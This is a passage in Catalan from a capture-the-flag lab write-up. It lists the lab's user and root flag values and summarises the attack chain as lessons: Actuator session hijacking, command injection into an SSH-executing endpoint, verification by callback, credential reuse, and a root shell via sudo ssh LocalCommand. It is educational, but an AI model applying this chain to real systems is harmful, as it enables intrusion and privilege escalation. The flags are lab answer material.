24. LocalCommand permet obtenir una shell root.

Flags

```
user.txt: d2f307799472b53e63932cffbae92e2b
root.txt: edba58633595f327570a0c2683f14201
```

22. Lliçons reutilitzables

1. Un hostname pot ser part essencial de la superfície

Quan Nmap mostra una redirecció a un domini, no convé enumerar només per IP. El hostname pot condicionar rutes, cookies i comportament de l'aplicació.

2. Els errors JSON ajuden a identificar el backend

Una landing estàtica pot ocultar una aplicació dinàmica. En aquest cas, `/login`, `/error` i els JSON de 404 van indicar que nginx no era tota la història.

3. Actuator exposat pot ser crític

Spring Boot Actuator no només mostra salut. Si està mal configurat, pot revelar endpoints interns, variables d'entorn, mappings, beans i sessions actives.

4. Una sessió filtrada val més que un usuari filtrat

L'explotació no va dependre de conèixer `kanderson` com a nom, sinó de reutilitzar el seu `JSESSIONID` actiu.

5. En panells autenticats cal separar UI, request i backend

El valor real del panell no era l'aspecte visual, sinó el formulari que enviava `host` i `username` a `/executessh`, connectat a un handler backend amb nom revelador.

6. Abans d'explotar, convé validar el comportament normal

Les proves amb `127.0.0.1`, `localhost` i `example.com` van demostrar que el backend executava una operació SSH real. Aquesta evidència va fer que les proves posteriors fossin dirigides i no a cegues.

7. En command injection importa la posició exacta del paràmetre

El patró inferit era semblant a `ssh <username>@<host>`. Per això `id` es contaminava com `id@127.0.0.1` si no es tallava la resta de la línia.

8. Un callback extern és una prova forta d'execució

La petició rebuda des de `10.129.37.233` al servidor local va demostrar execució remota millor que una simple diferència d'errors.

9. En Spring Boot, revisar el JAR és prioritari

El JAR conté classes, dependències i configuració. En aquest cas, `application.properties` va exposar credencials directes de PostgreSQL.

10. Una contrasenya d'aplicació pot pivotar a sistema

L'usuari `admin` de l'aplicació no era l'usuari SSH. La contrasenya crackejada es va reutilitzar a `josh`, usuari local real.

11. `sudo -l` s'ha d'analitzar segons les capacitats del binari

`ssh` sembla un client de connexió, però les seves opcions permeten executar ordres locals. Amb `sudo`, aquesta execució local es converteix en escalada.
